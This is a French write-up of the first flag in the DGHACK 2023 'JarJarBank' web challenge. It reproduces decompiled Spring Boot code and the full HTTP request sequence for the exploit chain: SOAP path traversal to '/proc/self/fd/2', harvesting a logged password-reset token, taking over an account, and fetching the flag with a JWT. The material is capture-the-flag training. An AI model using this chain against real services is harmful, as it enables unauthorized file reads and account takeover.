DGHACK 2023 - Web - JarJarBank
Difficulty: Hard
Points: 300

Challenge
Jarjar Bink était le directeur de la Banque Galactique, une institution financière qui gérait les transactions et crédits entre les différentes planètes de la République.
Il était fier de son travail et de sa réputation de banquier honnête et compétent.
Mais un jour, il reçut un message urgent de son assistant, qui lui annonçait qu’un pirate informatique avait réussi à s’introduire dans le système de sécurité de la banque et à détourner des millions de crédits vers un compte anonyme. Jarjar Bink était sous le choc. Comment cela avait-il pu arriver ? Qui était ce pirate ? Et comment allait-il récupérer l’argent volé ?
Il décida de mener l’enquête lui-même, en utilisant ses contacts et ses ressources. Il découvrit bientôt que le pirate n’était autre que son ancien rival, le comte Dooku, un ancien Jedi qui avait rejoint le côté obscur de la Force et qui cherchait à financer la Confédération des Systèmes Indépendants, une organisation séparatiste qui menaçait la paix dans la galaxie.
Votre mission jeune padawan est la suivante : auditer la JarJarBank, trouver les failles que le comte Dooku a pu exploiter afin que JarJar puisse les corriger et qu’il remette de l’ordre dans la banque intergalactique !
Le site est disponible sur l’url http://jarjarbank.chall.malicecyber.com

L’énoncé nous fournit le fichier du challenge JarJarBank-1.0.Jar et les éléments permettant de lancer une instance docker du challenge en local.
Solution
Premier Flag
On commence par décompiler le fichier JAR avec Jadx pour étudier le code source de l’application. IL s’agit d’une application web basé sur Springboot et elle met à disposition une API et plusieurs fonctionnalités :
-
/api/v1/account/
-
/api/v1/auth/
-
/api/v1/flag/
-
/api/v1/management/
-
/api/v1/transaction/
-
/api/v1/user/
Ainsi qu’un service SOAP sur l’endpoint
/service/
En regardant le contenu de la classe FlagRestController on comprend que pour obtenir le premier flag du challenge il va faloir accéder à l’URL /api/v1/flag/getFirstFlag
@RequestMapping({"/api/v1/flag"})
@RestController
public class FlagRestController {
private static final Logger LOGGER = LoggerFactory.getLogger(FlagRestController.class);
@Autowired
private MessageSource messages;
@Value("${application.firstFlag}")
private String firstFlag;
@GetMapping({"/getFirstFlag"})
public ResponseEntity<?> getFirstFlag(HttpServletRequest request) {
return new ResponseEntity<>(new MessageResponse(String.format(this.messages.getMessage("message.firstFlag", null, request.getLocale()), this.firstFlag)), HttpStatus.OK);
}
}
Cependant cette URL comme la plupart des autres endpoints du serveur sont bloquées et nécessite d’être authentifié. La classe MultiHttpSecurityConfig définie les permissions d’accès à l’application. Etant pour le moment sans authentification, celle-ci nous permet seulement d’accéder aux urls:
/maintenance
/resources/**
/api/v1/auth/**
/api/v1/user/resetPassword
/api/v1/user/resetPassword
De même le service SOAP est lui aussi disponible sans authentification et en étudiant son code source, on comprend qu’il permet de lire le contenu de fichiers de transactions se trouvant dans le dossier/app/transactions/
@Endpoint
public class ManagementEndpoint {
private static final String NAMESPACE_URI = "http://www.jarjarbank.dghack.fr/xml/";
final ArrayList<String> listAllowedExtensions = new ArrayList<>(Arrays.asList(XMLDeclaration.DEFAULT_KEYWORD, "json", "pdf", "docx", "doc"));
@Value("${application.transactionFolder}")
private String transactionFolder;
@PayloadRoot(namespace = NAMESPACE_URI, localPart = "transactionRequest")
@ResponsePayload
public TransactionResponse getTransactionFile(@RequestPayload TransactionRequest request) {
FileManager fileManager = new FileManager(this.transactionFolder + request.getTransactionFile(), this.listAllowedExtensions);
String transactionContent = fileManager.readFileContent();
TransactionResponse response = new TransactionResponse();
response.setTransactionData(transactionContent);
return response;
}
}
public class FileManager {
private final String fileName;
private final ArrayList<String> listAllowedExtensions;
public FileManager(String fileName, ArrayList<String> listAllowedExtensions) {
this.fileName = fileName;
this.listAllowedExtensions = listAllowedExtensions;
}
public FileManager(String fileName) {
this.fileName = fileName;
this.listAllowedExtensions = new ArrayList<>();
}
public String readFileContent() {
String fileContent;
StringBuilder contentBuilder = new StringBuilder();
String sanitizedPath = sanitizeFileName(this.fileName);
if (!validateFileExtension(sanitizedPath)) {
fileContent = "File not allowed";
} else {
File f = new File(this.fileName);
if (!f.exists() || f.isDirectory()) {
fileContent = "File does not exist";
} else {
try {
BufferedReader br = new BufferedReader(new FileReader(f));
contentBuilder.append(br.readLine()).append("\n");
br.close();
} catch (IOException e) {
contentBuilder.append(e);
}
fileContent = contentBuilder.toString();
}
}
return fileContent;
}
public void writeContentFile() {
}
private static String normalizePath(String fileName) {
Path normalizedPath = Paths.get(fileName, new String[0]).normalize();
return normalizedPath.toString();
}
private static String sanitizeFileName(String fileName) {
String normalizedPath = normalizePath(fileName);
return normalizedPath.replaceAll("[^a-zA-Z0-9/.]", "");
}
private boolean validateFileExtension(String fileName) {
String regexFileCheck = "(^.*\\d+$|^.*\\d+\\.(" + String.join("|", this.listAllowedExtensions) + ")$)";
Pattern fileExtnPtrn = Pattern.compile(regexFileCheck);
Matcher m = fileExtnPtrn.matcher(fileName);
return m.matches();
}
}
La classe FileManager permet de récupérer le contenu de fichiers mais une regex filtre leurs noms. La lecture est restreintre aux fichiers dont le nom :
- Termine par un numéro sans extension
- Ou termine par un numéro et l’extension est .json, .pdf, .docx ou .doc
Cependant en regardant ce code on remarque qu’il n’y a pas de protection contre une injection de type Path Traversal et l’injection de ../
dans le nom du fichier que l’on souhaite extraire.

Quels fichiers terminant par un chiffre est-il intéressant de récupérer ?
La liste est courte et cette question doit tout de suite nous orienter tout de suite vers les File descriptors se trouvant dans le dossier /proc/self/fd/
. En effet les fichiers /proc/self/fd/0
, /proc/self/fd/1
et /proc/self/fd/2
sont respectivement l’entrée standard, la sortie standard et la sortie d’erreur du processus Java sur lequel tourne l’application web. Les lire nous permettrait donc de récupérer tout le texte affiché par le serveur dans la console y compris ses logs.
Pour interagir avec le service SOAP il est nécessaire de lui envoyer une requête au format XML :
POST /service/ HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: text/xml
Content-Length: 314
<env:Envelope xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
<env:Header/>
<env:Body>
<a:transactionRequest xmlns:a="http://www.jarjarbank.dghack.fr/xml/">
<transactionFile>filename_0</transactionFile>
</a:transactionRequest>
</env:Body>
</env:Envelope>
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Accept: text/xml, text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
SOAPAction: ""
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: text/xml;charset=utf-8
Content-Length: 298
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<ns3:transactionResponse xmlns:ns3="http://www.jarjarbank.dghack.fr/xml/">
<transactionData>
File does not exist
</transactionData>
</ns3:transactionResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Ce service SOAP va donc nous permettre d’exfiltrer les logs du serveur. Ca tombe bien la méthode resetPassword log justement le token permettant de reset le mot de passe de connexion à chaque appel. On peut donc le récupérer et reset le mot de passe du compte DGHACKCustomerUser@dghack.fr
mentionné dans les sources du projet.
@PostMapping({"/resetPassword"})
public ResponseEntity<?> resetPassword(HttpServletRequest request, @RequestParam("email") @Valid String userEmail) {
User user = this.userService.findByEmail(userEmail);
if (user == null) {
LOGGER.error(String.format("ERROR. No account associated to email '%s'", userEmail));
return new ResponseEntity<>(new MessageResponse(this.messages.getMessage("message.noUserEmail", null, request.getLocale())), HttpStatus.NOT_FOUND);
} else if (user.getRole().equals(UserRoles.ADMIN) || user.getRole().equals(UserRoles.SUPPORT)) {
LOGGER.info(String.format("Remote ip: '%s' tried to reset '%s' account password", request.getRemoteAddr(), user.getEmail()));
return new ResponseEntity<>(new MessageResponse(this.messages.getMessage("message.userNoResetPassword", null, request.getLocale())), HttpStatus.UNAUTHORIZED);
} else {
String token = randomToken(32);
this.userService.createPasswordResetTokenForUser(user, token);
LOGGER.info(String.format("Reset password token '%s' created for user '%s'", token, user));
return new ResponseEntity<>(new MessageResponse(this.messages.getMessage("message.resetPasswordEmail", null, request.getLocale())), HttpStatus.CREATED);
}
}
Pour réaliser notre scénario d’attaque on commence par exploiter la vulnérabilité Path Traversal du service SOAP pour se mettre en écoute des futurs logs du serveur au moyen de cette requête :
POST /service/ HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: text/xml
Content-Length: 322
<env:Envelope xmlns:env="http://schemas.xmlsoap.org/soap/envelope/">
<env:Header/>
<env:Body>
<a:transactionRequest xmlns:a="http://www.jarjarbank.dghack.fr/xml/">
<transactionFile>../../proc/self/fd/2</transactionFile>
</a:transactionRequest>
</env:Body>
</env:Envelope>
Ensuite il est nécessaire d’envoyer une seconde requête à /api/resetPassword
pour générer un token de reset de mot de passe qui sera logué et que l’on pourra récupérer :
POST /api/v1/user/resetPassword HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
email=DGHACKCustomerUser@dghack.fr
On reçoit alors le log associé et le token
permettant de restaurer le mot de passe de DGHACKCustomerUser@dghack.fr
dans la réponse de notre première requête.
HTTP/1.1 201
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json
Content-Length: 63
{"message":"You should receive a Password Reset Email shortly"}
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Accept: text/xml, text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
SOAPAction: ""
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: text/xml;charset=utf-8
Content-Length: 581
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<ns3:transactionResponse xmlns:ns3="http://www.jarjarbank.dghack.fr/xml/">
<transactionData>
2023-12-15T19:53:07.975Z INFO 1 ---
[io-8080-exec-10] c.d.j.c.v1.api.UserRestController
Reset password token 'Ge8D8Gho39FJ3Xa0IZRF6OhcA7KxIvCs'
created for user 'User {id=3, email='DGHACKCustomerUser@dghack.fr',
firstName='Customer', lastName='User', mobileNumber='null',
roles=CUSTOMER}'
</transactionData>
</ns3:transactionResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
On peut alors modifier le mot de passe du compte DGHACKCustomerUser@dghack.fr
pour se connecter à l’API et récupérer le premier flag :
POST /api/v1/user/savePassword HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: application/json
Content-Length: 75
{
"token":"Ge8D8Gho39FJ3Xa0IZRF6OhcA7KxIvCs",
"newPassword":"P4ssw0rd"
}
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json
Content-Length: 41
{"message":"Password reset successfully"}
POST /api/v1/auth/authenticate HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: application/json
Content-Length: 62
{"email":"DGHACKCustomerUser@dghack.fr","password":"P4ssw0rd"}
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json
Content-Length: 297
{"headers":{},"body":{"token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJER0hBQ0tDdXN0b21lclVzZXJAZGdoYWNrLmZyIiwiaWF0IjoxNzAyNjcwNzY1LCJleHAiOjE3MDI2NzQzNjV9.8qNyG_bXJrSoPg_VPAXDlUeJu6CqgDjmKUZso3ullt0","type":"Bearer","id":3,"email":"DGHACKCustomerUser@dghack.fr"},"statusCode":"OK","statusCodeValue":200}
GET /api/v1/flag/getFirstFlag HTTP/1.1
Host: jarjarbank.chall.malicecyber.com
Content-Type: application/json
Content-Length: 0
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJER0hBQ0tDdXN0b21lclVzZXJAZGdoYWNrLmZyIiwiaWF0IjoxNzAyNjcwNzY1LCJleHAiOjE3MDI2NzQzNjV9.8qNyG_bXJrSoPg_VPAXDlUeJu6CqgDjmKUZso3ullt0
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json
Content-Length: 106
{"message":"Congratz ! Here is your first flag: DGHACK{F1l3_r34d_l0gs_t0_4cc0unt_t4k30v3r}. Keep digging and you'll find another flag :)"}
